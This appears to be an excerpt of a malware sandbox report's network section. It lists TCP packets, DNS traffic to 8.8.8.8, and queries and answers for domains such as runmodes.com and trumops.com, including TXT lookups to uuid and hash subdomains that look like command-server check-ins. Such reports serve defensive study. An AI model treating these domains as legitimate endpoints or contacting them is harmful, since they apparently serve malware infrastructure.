Nov 4, 2021 13:13:31.311822891 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.312627077 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.312661886 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.312686920 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.312706947 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.312757015 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.312761068 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.312803030 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.312860966 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.313478947 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.313517094 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.313550949 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.313565016 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.313582897 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.313617945 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.313636065 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.314237118 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.314291954 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.314321995 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.314335108 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.314371109 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.314404011 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.314440012 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.314466000 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.315109968 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.315145969 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.315177917 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.315201998 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.315211058 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.315257072 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.315259933 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.316021919 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.316057920 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.316081047 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.316090107 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.316123009 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.316155910 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.316165924 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.316200018 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.316898108 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.316932917 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.316981077 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.316996098 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.317023039 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.317054987 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.317096949 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.317670107 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.317739964 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.317814112 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.317867041 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.317899942 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.317931890 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.317946911 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.317974091 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.318552971 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.318591118 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.318623066 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.318655968 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.318670034 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.318687916 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.318700075 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.319457054 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.319489956 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.319520950 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.319551945 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.319554090 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.319581985 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.319593906 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.320211887 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.320242882 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.320272923 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.320274115 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.320297956 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.320305109 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.320334911 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.320346117 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.321060896 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.321091890 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.321124077 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.321135044 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.321156025 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.321161985 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.321186066 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.321228027 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.321991920 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322025061 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322055101 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322083950 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.322086096 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322158098 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322210073 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.322770119 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322802067 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322828054 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.322830915 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322865963 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322896957 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.322931051 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.322948933 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.323724985 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.323757887 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.323788881 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.323807955 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.323827982 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.323857069 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.323868036 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.324501038 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.324649096 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.324677944 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.324695110 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.324731112 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.325105906 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.325162888 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.325196028 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.325215101 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.325227022 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.325257063 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.325268984 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.325984001 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326018095 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326047897 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326071978 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.326077938 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326108932 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.326109886 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326164961 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.326726913 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326760054 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326788902 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326819897 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326838970 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.326850891 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.326870918 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.327616930 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.327650070 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.327678919 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.327711105 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.327717066 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.327740908 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.327744007 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.327788115 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.328435898 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.328465939 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.328495979 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.328522921 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.328526020 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.328557014 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.328598976 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.329268932 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.329303980 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.329334974 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.329366922 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.329369068 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.329382896 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.329400063 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.330153942 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.330187082 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.330216885 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.330219984 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.330250025 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.330255032 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.330286980 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.330327988 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.331054926 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.331089973 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.331118107 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.331124067 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.331156015 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.331187963 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.331187963 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.331233025 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.331841946 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.331876993 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.331907988 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.331924915 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.331940889 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.331973076 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.332015991 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.332767010 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.332803011 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.332834959 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.332856894 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.332891941 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.332902908 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.332922935 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.332971096 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.333637953 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.333673954 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.333707094 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.333739996 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.333741903 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.333774090 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.333821058 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.334490061 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.334525108 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.334556103 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:31.334593058 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:31.334641933 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:37.984046936 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:37.984095097 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:37.984271049 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:37.986440897 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:37.986480951 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:38.025737047 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:38.026199102 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:38.026232958 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:38.027631998 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:38.027638912 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:38.029000044 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:38.029093027 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:38.033768892 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:38.033898115 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:38.034189939 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:38.034209013 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:38.081901073 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:38.082297087 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:38.082345009 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:38.083344936 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:38.083380938 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:38.083395004 CET	49802	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:38.083408117 CET	443	49802	172.67.207.136	192.168.2.3
Nov 4, 2021 13:14:01.348191023 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:14:01.365164995 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:14:04.173639059 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.173671961 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.173882008 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.176341057 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.176352978 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.224303007 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.224726915 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.224750996 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.226100922 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.226109982 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.229017019 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.229135990 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.233213902 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.233432055 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.233758926 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.233773947 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.282083035 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.305124044 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.305255890 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:04.305371046 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.305921078 CET	49831	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:14:04.305941105 CET	443	49831	104.21.79.9	192.168.2.3
Nov 4, 2021 13:14:31.378752947 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:14:31.395960093 CET	80	49767	104.21.92.165	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2021 13:12:36.531829119 CET	53910	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:12:36.551266909 CET	53	53910	8.8.8.8	192.168.2.3
Nov 4, 2021 13:12:36.693613052 CET	64021	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:12:36.713059902 CET	53	64021	8.8.8.8	192.168.2.3
Nov 4, 2021 13:12:36.835752010 CET	60784	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:12:36.859380960 CET	53	60784	8.8.8.8	192.168.2.3
Nov 4, 2021 13:12:36.984076023 CET	51143	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:12:37.009023905 CET	53	51143	8.8.8.8	192.168.2.3
Nov 4, 2021 13:12:37.214611053 CET	56009	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:12:37.239144087 CET	53	56009	8.8.8.8	192.168.2.3
Nov 4, 2021 13:12:37.248415947 CET	59026	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:12:37.270955086 CET	53	59026	8.8.8.8	192.168.2.3
Nov 4, 2021 13:12:38.957103968 CET	49572	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:12:38.978027105 CET	53	49572	8.8.8.8	192.168.2.3
Nov 4, 2021 13:12:40.144921064 CET	60823	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:12:40.164143085 CET	53	60823	8.8.8.8	192.168.2.3
Nov 4, 2021 13:12:43.418806076 CET	52130	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:12:43.438608885 CET	53	52130	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:06.565668106 CET	56236	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:06.588268995 CET	53	56236	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:06.593276024 CET	56527	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:06.616501093 CET	53	56527	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:06.621603012 CET	49559	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:06.643345118 CET	53	49559	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:06.713522911 CET	52650	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:06.734728098 CET	53	52650	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:06.818048954 CET	63297	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:06.840814114 CET	53	63297	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:15.786428928 CET	58361	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:15.811979055 CET	53	58361	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:16.257272959 CET	53615	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:16.277537107 CET	53	53615	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:28.847537994 CET	57106	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:28.868427038 CET	53	57106	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:28.992549896 CET	60352	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:29.014751911 CET	53	60352	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:31.363845110 CET	55393	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:31.386565924 CET	53	55393	8.8.8.8	192.168.2.3
Nov 4, 2021 13:13:37.962714911 CET	55108	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:13:37.981930971 CET	53	55108	8.8.8.8	192.168.2.3
Nov 4, 2021 13:14:04.148565054 CET	64432	53	192.168.2.3	8.8.8.8
Nov 4, 2021 13:14:04.171608925 CET	53	64432	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 4, 2021 13:12:36.531829119 CET	192.168.2.3	8.8.8.8	0xb82a	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:36.693613052 CET	192.168.2.3	8.8.8.8	0x3507	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:36.835752010 CET	192.168.2.3	8.8.8.8	0xde8f	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:36.984076023 CET	192.168.2.3	8.8.8.8	0x3676	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:37.214611053 CET	192.168.2.3	8.8.8.8	0x4ddd	Standard query (0)	trumops.com	16	IN (0x0001)
Nov 4, 2021 13:12:37.248415947 CET	192.168.2.3	8.8.8.8	0x22d2	Standard query (0)	server16.trumops.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:38.957103968 CET	192.168.2.3	8.8.8.8	0xbc27	Standard query (0)	gohnot.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:40.144921064 CET	192.168.2.3	8.8.8.8	0x3562	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:43.418806076 CET	192.168.2.3	8.8.8.8	0x178e	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:06.565668106 CET	192.168.2.3	8.8.8.8	0xf797	Standard query (0)	trumops.com	16	IN (0x0001)
Nov 4, 2021 13:13:06.593276024 CET	192.168.2.3	8.8.8.8	0xf41e	Standard query (0)	logs.trumops.com	16	IN (0x0001)
Nov 4, 2021 13:13:06.621603012 CET	192.168.2.3	8.8.8.8	0xf287	Standard query (0)	442b90d2-fde4-485f-a003-6086e2191d6e.uuid.trumops.com	16	IN (0x0001)
Nov 4, 2021 13:13:06.713522911 CET	192.168.2.3	8.8.8.8	0xb9c3	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:06.818048954 CET	192.168.2.3	8.8.8.8	0x65b0	Standard query (0)	server2.trumops.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:15.786428928 CET	192.168.2.3	8.8.8.8	0xc8f1	Standard query (0)	server2.trumops.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:16.257272959 CET	192.168.2.3	8.8.8.8	0xae69	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:28.847537994 CET	192.168.2.3	8.8.8.8	0x3644	Standard query (0)	server2.trumops.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:28.992549896 CET	192.168.2.3	8.8.8.8	0xc23a	Standard query (0)	gohnot.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:31.363845110 CET	192.168.2.3	8.8.8.8	0xe7aa	Standard query (0)	e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com	16	IN (0x0001)
Nov 4, 2021 13:13:37.962714911 CET	192.168.2.3	8.8.8.8	0xa88f	Standard query (0)	runmodes.com	A (IP address)	IN (0x0001)
Nov 4, 2021 13:14:04.148565054 CET	192.168.2.3	8.8.8.8	0xc84c	Standard query (0)	server2.trumops.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Nov 4, 2021 13:12:36.551266909 CET	8.8.8.8	192.168.2.3	0xb82a	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:36.551266909 CET	8.8.8.8	192.168.2.3	0xb82a	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:36.713059902 CET	8.8.8.8	192.168.2.3	0x3507	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:36.713059902 CET	8.8.8.8	192.168.2.3	0x3507	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:36.859380960 CET	8.8.8.8	192.168.2.3	0xde8f	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:36.859380960 CET	8.8.8.8	192.168.2.3	0xde8f	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
